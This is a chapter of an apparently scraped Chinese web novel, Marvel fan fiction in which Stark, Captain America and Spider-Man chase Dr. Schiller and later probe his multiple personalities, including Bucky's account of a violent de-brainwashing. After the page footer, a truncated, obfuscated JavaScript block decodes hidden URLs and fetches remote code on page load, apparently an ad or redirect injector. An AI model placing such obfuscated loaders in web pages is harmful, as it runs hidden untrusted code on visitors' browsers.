首页
第三百八十七章 席勒倒大霉?
返回
关灯 护眼:关 字号:小

第三百八十七章 席勒倒大霉?

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    纽约的海岸线风光靓丽,不少的海景酒店矗立在海边,大多都是高层建筑,拥有良好的视野,能够一览海上风光。
    这个季节是海边度假的淡季,因此沙滩上没有多少人,酒店中稀少的住客也没有注意到,本来好好的晴天,突然之间起了雾。
    一缕微不可查的雾气掠过纽约海岸线,而他身后的两个身影跟着飞过,就好像在和空气进行追逐战,就在这时,海风飘过,雾气就像被吹散了一样,一个急转弯,停在了新世界酒店大厦的楼顶。
    穿着钢铁战衣的钢铁侠同样一个急转弯,机甲落地的喷气声和机械摩擦声同时响起,看到对面那缕灰雾凝聚成人形,钢铁侠的面甲“咔嚓”一声升上去,露出他满是怒气的面容。
    很快,美国队长也跳了上来,他对对面那个由雾气化成的人影喊道:“席勒!停下!”
    席勒再次出现时,穿着的不是黑色西装,而是白色的医生制服,他无奈的说:“我停下了,你们会听我解释吗?”
    他还没说完,一枚微型导弹就飞了过来,就在导弹要接触到他身体的一瞬间,席勒再次化为灰雾,绕着纽约开始跑了起来。
    原本,斯塔克和史蒂夫一前一后的沿着纽约各大高楼的楼顶飞速掠过,但很快,另一个身影加入了他们,彼得一道蛛丝荡过来,和史蒂夫并肩跳到半空中,他转头问:“队长!怎么了?你们跑什么?!”
    “彼得!去拦住他!!”
    “拦住他?”彼得又转把头转回去,往前看,但是只看到了飞在半空的钢铁侠,他惊讶的说:“你们又打架了?但是这里可是纽约!队长,可能会波及到普通人的!”
    “不是斯塔克!”史蒂夫无奈的说:“你没看到吗?前面那团雾气!”
    “呃……其实我早就看到了,那是斯塔克先生弄出来的什么新玩意吗?为什么会飞?还飞在你们前面?”
    史蒂夫一边跑一边调整自己的呼吸,还要给彼得解释,让他显得有点气喘吁吁的。
    “彼得!你……算了,你难道还不知道吗?那团雾就是席勒!”
    “席勒医生?!彼得大吃一惊,他说:“他怎么了?为什么变成了一团雾????”
    彼得的脑袋转来转去,一会往前看那团雾,一会往旁边看像史蒂夫,不知道该不该相信这个事实。
    史蒂夫边跑边说话,有些岔气,他咳嗽了两声,减慢了速度,然后指着前面说:“彼得!快追上他!快!我有点……跑不动了……”
    彼得犹豫了一下,但最终还是选择了相信史蒂夫,他射出一道蛛丝粘到大楼楼顶,荡了起来,没几下就追上了飞在前面的斯塔克。
    “斯塔克先生!!”彼得大喊:“我们这样追是追不上他的,必须包围才行!!”
    听到彼得的声音,斯塔克终于从愤怒中清醒了一点,他突然发现,自己现在的状态真的很蠢,前面那团雾气似乎根本就没使出全力,他在空耗能源。
    斯塔克直接接通了彼得蜘蛛战衣上的通讯,说:“包围战术。”
    “收到!”
    事实证明,蜘蛛侠加红蜂的速度是很可怕的,没多一会席勒就被侧翼包裹过来的蜘蛛侠堵住了,但是他丝毫不慌,往旁边一拐,躲开俯冲过来的斯塔克,然后又向另一个方向飘了过去。
    “你打算一直这么跑下去吗?!”斯塔克打开机甲的扬声器对席勒大喊。
    “我带了足足五个能源核心,足够追着你绕赤道一圈了!贾维斯可以控制战衣自动巡航,我还可以在途中睡一会……”
    听到这话,席勒似乎也觉得有道理,这么跑下去,他肯定耗不过斯塔克,倒不是体力问题,主要是这么不分昼夜地跑下去,那不就又相当于没日没夜地加班吗?他才刚刚休假回来!
    忽然间,那团雾气停住了,然后“砰”的一声变成了一个箭头,指了指离几人最近的那幢大厦。
    斯塔克漂浮在半空,抱着手臂,缓缓向席勒指的那个地点飞了过去,彼得看着这一幕,却觉得有点熟悉,几秒之后,他恍然大悟:“哦!这不是斯塔克工业博览会那天,在窗外偷看的那团灰色雾气吗?!”
    等到跟在后面的史蒂夫姗姗来迟,席勒才再次凝聚出人形,然后飞快的说:“听我解释。”
    史蒂夫盯着席勒的表情问:“你是席勒医生?”
    “这不是很明显的事吗?”席勒叹了口气说:“我就知道,那个家伙没那么好心,他劝我去休假的时候,我就应该想到……”
    他摇了摇头,似乎有点无奈,但是对面的几个人并没有听到他的自言自语,斯塔克再次把面甲打开,脸上还残存着一点没有消退的怒意,他说:“席勒!你这次太过火了!”
    “我知道这个世界上不可能什么事都按规则来,如果真是那样的话,我们可能解决不了大部分的麻烦。”
    “所以我对你和尼克的某些行为并不在意,尽管我知道你们做某件事的手段可能不那么光彩,但总要有人去做这种事,我理解你们。”
    斯塔克非常严肃的说:“但是这不意味着你可以突袭神盾局的基地,绑架人质,然后威胁我们,也不意味着你可以和九头蛇合作,去刺杀那些重要人物!”
    席勒刚想开口,斯塔克就说:“我知道,那是你的另一个人格干的,但如果你其中一个人格是九头蛇,那就意味着你必须得接受治疗!”
    似乎是怕刺激到席勒的情绪,斯塔克走近了两步,然后伸出手说:“听着,我也很烦有些人跟我说‘我这么做是为了你好’,但我这次必须得说这句话……”
    “正因为我们是朋友,所以我们必须得制止你的那个人格的危险行为,以防止你受到危害。”
    斯塔克在说话的时候,彼得和史蒂夫都没有开口,因为他们从来没有见到过斯塔克如此严肃的态度,彼得和史蒂夫并不明白席勒的特殊,但斯塔克却再清楚不过。
    他认为席勒和他一样,都是曾经到达过唯一的人,但由于也找不到第三个例子,所以斯塔克也不知道成为唯一的条件是否只有一个,或者说到达唯一的人还有没有别的特殊之处。
    所以他并不确定,到达唯一的人是否会像常人一样患有多重人格之类的精神疾病,也不知道如果真的有多重人格的话,另一个人格会不会共享过唯一的视野,并且产生危害性,如果真的是这样的话,那事情可就麻烦了。
    就在斯塔克打算继续劝说的时候,半空中却突然打开了一道传送门,斯特兰奇怒气冲冲的从传送门当中走了出来,他对席勒说:“你骗我去飞船上做实验,然后嫁祸我是九头蛇,原来就是为了绕过我,跟墨菲斯托做生意??你这是违约你知道吗??”
    斯特兰奇显然气的不行,就好像一大笔钱在他眼前不翼而飞了,他一挥手,背后的圆环愈发闪亮,似乎就要朝着席勒飞过去,他说:“至圣所的法务团队正在赶来的路上,你必须得给我一个交代!”
    席勒刚想开口,忽然,一阵直升机旋翼的轰鸣声在半空响起,尼克挂在直升机放下来的梯子上,对席勒大喊:“你可真会找地方!我配置最好的一个秘密基地被你弄得一团糟,我损失了几千万美元!下次你想干什么,能不能提前打声招呼?!”
    “席勒,你得跟我们回去……”
    “你得给我一个交代!”
    “解释,我需要解释……”
    “你到底为什么要这么做?”
    “九头蛇到底是怎么回事?”
    “你太过分了,你知道吗?!”
    “停!”席勒提高音调大声说,他深吸了一口气,先转向斯特兰奇说:“我栽赃你?你们在飞船上的实验没成功吗?”
    “呃……”斯特兰奇被噎了一下,他说:“成功是成功了,但是这也不是你栽赃我的理由!”
    “我怎么栽赃你了?”
    “你……”斯特兰奇本想振振有词的向所有人诉说,席勒到底编织了一个多么缜密的阴谋,就为了让钢铁侠和美国队长误会他,可是他在脑子里复盘了一件这件事之后,发现席勒好像并没有栽赃他。
    “九头蛇的组织当中,我的代号是医生,那又怎么样?我不是医生吗?还是说世界上只能有你一个医生?”
    “但是你故意误导我……”
    “那你为什么会被误导?”
    说完,席勒又抱着胳膊说:“还有,我违约?我绕过你跟墨菲斯托做生意?这是谁告诉你的?如果你真的要这么下结论的话,那属于你的那份我可就拿走了……”
    “等等,你是说,有我的一份?”
    “不然呢,你可是至尊法师。”
    斯特兰奇的表情立刻变得有些犹豫了,他抚摸了一下自己手里的绸带,又摸了摸戒指,席勒接着说:“你不走,是打算让我在这和你谈谈分成条件吗?”
    “滋啦”一声,传送门打开,斯特兰奇迈步走进去,走之前还不忘说:“你最好能给我一个让我满意的价格,不然……”
    看到斯特兰奇离开,席勒又转向尼克,用胳膊往旁边一指说:“离开这里!否则我立刻打电话给国税局自首偷税漏税,然后做污点证人指证你,申请证人保全计划。”
    国税局几个字一出,尼克头也不回的对着直升机驾驶员一挥手:“走!”
    “嘿,尼克!你就这么走了?!你真相信他会去自首??”斯塔克抬头看向越飞越远的尼克,尼克回头对他大喊:“你还没发现吗?!他是个疯子!”
    看着越飞越远,直到消失不见的直升机,斯塔克无语,接着,他发现席勒又把头转向了他,斯塔克摇了摇头说:“别打算动摇我,斯塔克是不会向你妥协的!”
    接着,他就看见。席勒把手缓缓的伸进了口袋里,然后,掏出了一只录音笔。
    “咔哒,我发现,从前的我真是太蠢了……”
    “我发现,从前的我真是太蠢了……”
    “我发现,从前的我真是太蠢了……”
    “你以为这样就能动摇我吗?你的这种幼稚的小把戏……”斯塔克“嗤”了一声,然后他就听到席勒说:“我记得,佩珀小姐应该快过生日了,这应该是一个非常不错的生日礼物,你说呢?”
    “轰”的一声,一发微型炮弹就打在了席勒面前,斯塔克飞了起来,说:“把它给我!!”
    “够了!”史蒂夫的声音传来,他知道自己得阻止画风越来越偏的闹剧,他走上前,看着席勒的眼睛说:“如果你真的是席勒医生,应该会配合我们。”
    “你的另一个人格说你是无辜的,你不是九头蛇,而你又是我们的朋友,那你应该跟我们站在一起,去对抗邪恶的九头蛇,不是吗?”
    “你们想怎么样?”
    “跟我们回去,医生,我们会治疗你。”
    “我发誓,如果你真是无辜的,我绝对不会伤害你,也不会让任何人伤害你,我以美国队长的名誉担保。”史蒂夫认真的说。
    “我并不相信美国队长的名誉。”席勒也看着史蒂夫的眼睛说,他看到史蒂夫的眼睛里出现了一丝失望,然后他接着说:“但我相信史蒂夫·罗杰斯。”
    说完,他主动走上来,来到史蒂夫的对面说:“你要怎么做?给我戴上手铐吗?”
    “不。”史蒂夫摇摇头说:“正因为我不愿意这么做,不愿意用暴力和一种不尊重的态度对待你,对待一个并没有做过坏事的无辜者,所以我才没有直接动手。”
    席勒盯着史蒂夫的眼睛,看到那里有还未散去的疲惫和沧桑,一点也不像往日美国队长精神奕奕的眼神。
    他叹了口气说:“史蒂夫,你知道吗?现在我站在你面前,并且愿意束手就擒,并不是因为你或者斯塔克真的有能力威胁到我,而正是因为你,史蒂夫……”
    他的语调变得有些叹息:“史蒂夫·罗杰斯,一个真正的好人。”
    十分钟之后,席勒坐在神盾局地下基地一间办公室中央唯一的一把椅子上,那并不是一个审讯椅,只是一把非常普通的扶手椅,因此并没有任何拘束装置,这里也不是审讯室,只是个空荡荡的职员办公室。
    但是席勒还是平静的坐在椅子上,没有动作,他只是抬头看着有些忽明忽暗的灯泡,颇有种躺平认栽的态度。
    他这种非常配合的态度,反而让斯塔克不知道该说什么,席勒没有看站在门口的斯塔克,他依旧看着天花板上的灯泡,说:“我想,你现在应该在想,如果我和你打一架,反而会更有利于推动事情的发展。”
    “但是,不打不相识、一笑泯恩仇这种情节,不太适合发生在我身上,我并不喜欢徒增无谓的消耗。”
    “如果一场战斗的后果是能让所有人心平气和的坐下来谈谈,那最好还是跳过这个费力的打斗过程,不如,你就当我们已经打过了,直接开始谈话吧。”
    “你对你另一个人格的是知情吗?”
    席勒点了点头,但没有说话,斯塔克接着问:“你和他谁先出现?”
    “看来你的确研读了不少心理学的书籍,你问到了点子上。”
    “所以呢?”斯塔克有种不好的预感。
    “他先出现。”席勒说的是实话。
    斯塔克的预感成真了,在听到这个答案的一瞬间,他用力的闭了一下眼睛,低声咒骂了一句。
    “所以说,他才是主人格?”
    席勒摇了摇头,但没有说话,斯塔克深吸一口气,他说:“看来,心理治疗这件事比我想象的更难。”
    “我早就和你说过,如果病人不愿意配合,那心理医生其实做不了什么。”
    “你为什么不愿意配合?你在担心我们采取什么手段,对付你的另一个人格吗?”
    席勒把头低下来,目视前方,看着斯塔克说:“你没有弄明白一个关键的问题,我并不是不愿意配合,只是不愿意配合你,因为你无法治疗我。”
    斯塔克向前走了几步,来到席勒的对面,他从上至下的俯视着席勒,但却并没有感觉到自己给他带来任何压迫感,他说:“我知道,只学了几天的理论知识,还称不上的一个心理学家,但至少我可以问问你的症状吧?”
    “托尼,你和彼得一样,不适合做一个心理医生。”席勒偏过头缓缓说:“这不是因为你们智慧不够,也不是因为你们没有系统的学习过理论知识。”
    “那是因为什么?”
    “因为你们太过于富有同情心。”
    “医生不应该有同情心吗?”
    席勒摇摇头说:“从某种意义上来说,同情心是成为医生的根本动力,正因为怀有对于病人的同情,才会去学习那些复杂艰深的知识来治疗他们。”
    “但其实,如果在这条路上走到最后,就会发现,过度带入病人的处境,与他们感同身受,只会毁掉你自己。”
    “更不要说……”席勒抬头看向斯塔克的眼睛,说:“你现在还在试图治疗我,托尼,这很危险。”
    他的眼神让斯塔克有些想要后退,仿佛他才是坐在椅子上接受治疗的病人。
    斯塔克意识到,书上所讲的某些理论知识,实际应用起来的时候非常困难,比如,居高临下的姿态并不能让他坚定作为医生的信心,而这个坐在椅子上接受治疗的“病人”,比他更像一个医生。
    斯塔克刚想说什么,他的电话就响了,屏幕上显示是史蒂夫的来电,他停顿了一下,然后转身走出办公室,接听了史蒂夫的电话。
    “喂,我正在巴基这里,你最好过来一趟。”
    “我为什么要过去?去打扰你和你最好的老朋友叙旧吗?”
    “我没开玩笑,托尼,巴基跟我讲述了席勒的另一个人格是如何绑架他,并……我只能说,他比我想象的还要更危险,你最好别急着给他治疗。”
    斯塔克挂断电话,他偏头,透过办公室门上方的窗户,看了一眼安静的坐在那里的席勒,他收起手机,然后大步朝着走廊走去。
    当他来到史蒂夫和巴基所在的病房的时候,要推门之前斯塔克停顿了一下,这时,他听到病房里传来了史蒂夫略显严肃的声音:“巴基,你还记得这段时间发生的事吗?”
    “是的,我记得。”另一道沙哑的嗓音传来:“我的记忆有些破碎和混乱,但是其中的某些片段一直在我脑子里盘旋……”
    “你记得……霍华德·斯塔克吗?”
    就在这时,史蒂夫听到了门被推开的声音,斯塔克走进病房,就像是刚到的样子,史蒂夫立刻止住了话题,他站起来对斯塔克说:“你最好来听听席勒都对他做了什么。”
    斯塔克站在原地没有动,而是看了一眼巴基,又看了一眼史蒂夫,说:“你确定他现在是清醒的?我可不希望他突然站起来,给我们当中的谁来上一下。”
    他的语气很不友好,可史蒂夫并没有在意,他说:“我正要说这一点,你想知道他是怎么解除洗脑的吗?”
    斯塔克抬眼看向史蒂夫,在等着他的下文,史蒂夫回头看了一眼巴基,说:“席勒不光绑架了巴基,他折磨了他6个小时,然后……”
    史蒂夫吞咽了一下,喉结不停颤抖着,似乎想起什么可怕的事。
    “在6个小时当中,他把那个九头蛇洗脑出来的人格,完全的撕碎了。”
    “他往巴基的体内钉了一些楔子……”史蒂夫用双手做出手势,努力的想解释清楚过程,但是巴基低沉沙哑的嗓音传来:“‘一些’不是很准确,他用了整整40多支楔子。”
    “如果我没有接受过特殊改造,我现在肯定已经死了,而且是疼痛致死。”
    史蒂夫捂住额头,低下头,深深的叹了口气,他说:“不论如何,席勒的那个人格实在是太危险了。”
    “‘危险’这个词也不是很准确。”巴基干涩的声音再次传来:“他是个疯子。”
    “在最开始,他唤醒了我,我以为他是想让我自己压制住那个被洗脑的人格,但后来,我发现,他只是为了让我见证这一切,他希望找一个观众,来看他的表演。”
    “他当着我的面,把那个人格折磨疯了,我不知道它碎成了多少片,但最后,他彻底灰飞烟灭了。”
    巴基的声音显得有些麻木,就好像在说一件和自己完全无关的事,但却听的斯塔克背后发凉。
    巴基平躺在床上,他把目光从天花板上挪开,看向斯塔克说:“我记得霍华德·斯塔克,我记得我奉命制造了一场车祸,杀死了他们夫妇。”
    “不,巴基,别说这个。”史蒂夫回头,伸出手制止巴基继续往下说,斯塔克却走上去,拦住了史蒂夫的动作,他看着巴基的眼睛说:“你知道我是谁吗?”
    “我知道,你和他很像。”巴基闭上眼睛说:“我之所以会提到这个话题,就是因为,那个疯子在做完这一切之后,他告诉我,如果我看到一个和霍华德很像的人,那就把这一切都告诉他。”
    “那个被九头蛇洗脑出的人格死的非常痛苦,即使是旁观,都令我感觉到无比恐惧。”
    “这就是他在做这一切之前唤醒我的理由……”巴基的手紧紧的握着护栏,说:“那个人格已经付出代价了,接下来,就轮到我了。”
    史蒂夫从巴基的话中听出了一种不同寻常的意味,他连忙走到巴基的身旁,按住他的胳膊说:“别这样,巴基,我觉得我们可以谈谈……”
    巴基的表情一直很麻木,就好像多年以来处于被控制的状态中,他已经不会做表情了,但史蒂夫却从他的眼神当中看到了一种决绝。
    “已经有人替你付过代价。”斯塔克瞥了一眼史蒂夫,然后对巴基说:“你应该庆幸,你的这个朋友,在面对一个本该和他无关的选择的时候,一如既往的选择……牺牲自己。”
    斯塔克把头撇向一旁说:“……一个彻头彻尾的烂好人。”
    巴基把头转向史蒂夫,他已经从斯塔克的话语里猜出了一切,他看到,史蒂夫现在的状态非常憔悴,因为突发性的焦虑症状和连续的失眠,他有很重的黑眼圈,脸色苍白,嘴唇也没有血色,蓝色眼球的周围全都是红血丝,看起来一点都不像是美国队长。
    巴基盯着史蒂夫的眼睛说:“我从来没见过你这样。”
    “抱歉,我最近有点累,或许休息一晚上就会好了。”
    “不,我是说,我很高兴,我醒来之后第一个见到的人是史蒂夫·罗杰斯,而不是美国队长。”
    巴基那麻木的语气终于有了一丝波动,他说:“忘了那些他们灌输给你的见鬼的谎言吧,战争已经结束了,只剩我们两个了。”
    史蒂夫的手臂又开始不停的颤抖,急性焦虑带来的各种负面影响一直没有褪去,这让他的精神非常不稳定,以至于严重的影响了肢体控制。
    斯塔克及时的打断了这一切,他说:“现在我们要讨论的是席勒的状态问题。”
    “按理说,如果那个人格也是九头蛇的话,他没有任何理由去帮巴基解除洗脑状态。”史蒂夫叹了口气说:“就在来这里的路上的时候,我冷静的思考过了。”
    “如果他真的是九头蛇,那他到底带来了什么破坏?”
    斯塔克顺着他的思路思考了下去,他想了想,说:“虽然我们在对付九头蛇的过程中,难度突然提高了,可是最后的结果是,我们跑到那个触手怪物的老巢里打了一架,把那全毁了。”
    “在我的监控当中显示,最近九头蛇好像消停了不少,那些以往层出不穷的案件变少了很多。”
    史蒂夫摸着下巴,努力的让自己集中注意力去思考,他说:“虽然他绑架了巴基,但是帮他解除了洗脑,如果忽略掉这有些暴力的手段,或许只有他能做到这一点。”
    “但不能否认的是,他自己亲口承认自己是九头蛇,而且刺杀要员的线索也指向他。”斯塔克接着说。
    “可现在,他躲回了席勒医生的体内,我们不能使用暴力的手段对待他,席勒没做错什么……对了,他愿意配合吗?”史蒂夫抬眼看向斯塔克问。
    “他说他愿意配合,只是不愿意配合我。”斯塔克摇摇头说:“他说这是因为治疗他会很危险,但我想不通有什么危险的。”
    “托尼,我无意贬低你的学习能力,但是我觉得,任何一门科目仅通过几天的理论知识学习,恐怕并不能完全掌握,尤其是医生这种专业,可能会需要大量的实践,所以……”
    “你不用这么委婉,我知道我不是专业的,既然他因为这个理由不愿意配合我,那我就去给他找专业人士。”
    斯塔克就好像和席勒卯上了一样,他拿起电话,打给佩珀,说:“帮我邀请所有能邀请来的世界级的心理学和精神病学专家,我要给一个病得不轻的医生进行会诊……”
    第二天,史蒂夫和斯塔克守在阿卡姆疗养院的一间诊室门口,无语的看着房间内的景象。
    “嘿。蒂姆,好久不见,你还在佛罗里达州打转吗?……什么?你已经结婚了?恭喜啊,可真是稀奇,想当初在哈佛念书的时候,你可是出名的浪荡子,怎么改主意了?”席勒拍着一个黑人医生的肩膀说。
    就在他们两个聊天的时候,另一个有些瘦弱的白人医生走上来说:“席勒,真是好久不见,你来纽约之后怎么不告诉我?说起来,你不去长老会医院任职,跑到疗养院来干什么?”
    那个黑人医生也说:“没错,当时你可是我们当中成绩最好的,就算不留校任教,也不至于跑到一家疗养院来吧?”
    “我之前是在长老会医院来着,但那里有人找我的麻烦,你们知道的,我是来躲清静的。”
    “哦,提尔教授,您怎么也来了?身体还好吗?您还在教病理学吗?”席勒转头,对另一位头发花白的老教授说,那位老教授的脾气显然不太好,他说:“斯塔克集团的经理大半夜的打电话给我的教子,说要请我来给人看病。”
    他叹了口气,打量了一下席勒,说:“我没想到是来给你看病,你有什么病?自述一下症状吧。”
    “教授,别这样,我已经很久没有考过试了。”席勒一边说,一边又看到了另一个身影,他走过去说:“萨曼莎,你也收到邀请了?”
    “席勒医生?没想到会在这见到你,可别告诉我,你就是这次的会诊对象?”
    “没错,谁知道斯塔克是怎么想的?”
    门外的斯塔克把头探进来看了一眼,史蒂夫对他说:“你确定这是专家会诊吗?我怎么感觉像是他们的同学会?”
    斯塔克叹了口气说:“这很正常,某个圈子里的顶尖人物,都毕业于那几个学校,要么是同学,要么是校友,要么就是师生,但没关系,只要能治病就行。”
    但很快,他们又听见房间里传来医生们的对话。
    “萨曼莎,你的强迫症好一点了吗?我记得上次我们通电话的时候,你说你调整了药量,效果怎么样?”
    金发的女医生摇了摇头说:“快别提了,那段时间我有点忙,没有按时吃药,所以有点恶化了,不过现在已经好多了。”
    “对了,霍普还住在洛杉矶的精神病医院吗?他的家人没考虑过给他转院吗?”
    “他在洛杉矶待的挺好的,他的主治医生正是原来教他基础心理学的教授,住院期间还能深造,我还巴不得有这种好事呢。”
    “嘿,席勒!过来,提尔教授找你!”
    席勒走过去之后,那位老教授推了一下眼镜,说:“斯塔克找我们来,应该不是治疗你的孤独症,你的症状也不需要治疗,让我猜猜,你的焦虑症又恶化了?”
    “稍有一点,但并不严重,这次他们可能是想治疗我的多重人格障碍。”
    “多重人格?你什么时候也患上了多重人格?”那位黑人医生蒂姆看向他:“还记得安吉尔吗?他前几天才打电话告诉我,他的多重人格障碍好多了,上学的时候,他总因为这个丢三落四的,还记得舞会吗?他差点把舞伴给弄丢了。”
    说着,几人都笑了起来,那个有些瘦弱的医生说:“我猜,请我们来的斯塔克,对于心理学和精神病学完全没有了解,外行人总是喜欢咋咋呼呼的,一听到什么精神障碍,就觉得是绝症。”
    “没办法,现在还是有很多人对于心理和精神治疗不了解。”老教授叹了口气说:“你们努力学习,精研专业能力,就是为了消除偏见……”
    门外的斯塔克对史蒂夫说:“我觉得这不是同学会,而是病友交流会。”
    “见鬼了,没病是不能当心理医生吗?”
    “我觉得这根本就不靠谱。”史蒂夫下结论说:“看起来他们经常互相治疗,可谁也没治好谁……”
    斯塔克捂住额头说:“算了,看来这种方法行不通,我们还是去求助更专业一点的人吧。”
    当天下午,斯塔克和史蒂夫来到了泽维尔天才少年学校,当他们向查尔斯说明了来意的时候,令他们意外的是,查尔斯摇了摇头,并拒绝了他们的要求。
    史蒂夫叹了口气说:“教授,我知道,你们变种人不愿意参与到这种事情中来,可能会给你们徒增麻烦,我也理解,变种人自己的处境也不好……”
    “不是因为这个。”查尔斯否认道:“其实我很乐意帮忙,但是这件事除外。”
    “为什么?”斯塔克非常疑惑的问。
    “你们是想让我去治疗席勒,但是在我看来,他并不能被治疗。”
    “什么意思?”
    “他的病情……哦,不,不能说是病情,应该说是他的情况,已经超出了疾病的范畴,更像是一种能力。”
    “你不能要求我去治愈一种超能力,就像我不可能治愈你的智慧,或者是他的强壮一样,这没有必要。”
    “能力?”斯塔克和史蒂夫对视一眼,都看到了彼此眼中的疑惑,他们不明白,到底什么样的精神疾病才能被称之为能力。
    “或许我这样说,你们并不能理解,如果你可以取得他本人的同意,那么或许我可以向你们展示这到底是为什么。”
    “他说他愿意配合治疗,我觉得,我们就不用再问一遍了吧?”
    查尔斯又摇了摇头说:“如果你们真的想这么做,那就在晚上的时候按时睡觉,我会去找你们的。”
    到了晚上,斯塔克来到了梦境当中的光辉联盟基地,顺利的见到了查尔斯,但是却没有看到史蒂夫的身影,他问查尔斯:“不是说他也要来吗?”
    “是的,但是……他好像有点失眠,你觉得我帮他一把的话……”
    “完全没问题,他绝对不会跟你计较的。”
    “好吧。”查尔斯话音一落,一脸迷茫的史蒂夫就出现在了梦境基地当中,他捂住自己的额头说:“我一定是太累了,不然怎么会在梦里梦到斯塔克?”
    斯塔克冷哼一声说:“我就说,不是所有人都有在梦境当中控制自己意识的能力。”
    接下来的几分钟里,查尔斯向史蒂夫解释了现在的情况,史蒂夫坐在沙发上,捂着自己的额头说:“所以,我们现在的确是在梦里,然后要通过梦境去找席勒医生?”
    “没错,白天的时候我已经给他打过电话了,他同意我们晚上去拜访。”
    “拜访?他为什么不能来这?”
    “很快你们就知道了。”
    接着,查尔斯一挥手,几人就来到了基地门外,浓郁的白色雾气包裹了他们,斯塔克构建出的那座巨大的钢铁城市在视野当中不断后退,他们在梦境当中急速穿行。
    很快,一个小小的黑点出现在地平线上,斯塔克眯起眼睛,看向那个方向。
    没过几秒钟,他们就迅速的接近了那里,随着距离越来越近,斯塔克和史蒂夫都看到了,那是一座巨大无比的通天塔。
    转瞬之间,他们来到了这座高塔的大门前,查尔斯走上前去,拉住门环,敲了敲门,大门“吱呀”一声打开了,开门的席勒穿着白色的制服,这让查尔斯松了一口气。
    他低声自言自语道:“还好不是之前那个圆柱头,他简直是个话唠……”
    斯塔克和史蒂夫迈步走进去,刚踏入高塔内部,就被眼前的景象惊呆了。
    那是一座庞大、繁华、人来人往、热闹非凡的——通天高塔。
    目光所及之处,楼层无穷无尽。
    在这一刻,斯塔克和史蒂夫终于明白,查尔斯所说的超能力,到底指的是什么了。
    席勒转身回去,把门关上,张开双臂,说:
    “欢迎来到我的思维殿堂。”
    ------题外话------
    写大章是因为剧情比较连贯的话不好分章,我对断章是有一定艺术追求的:c
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 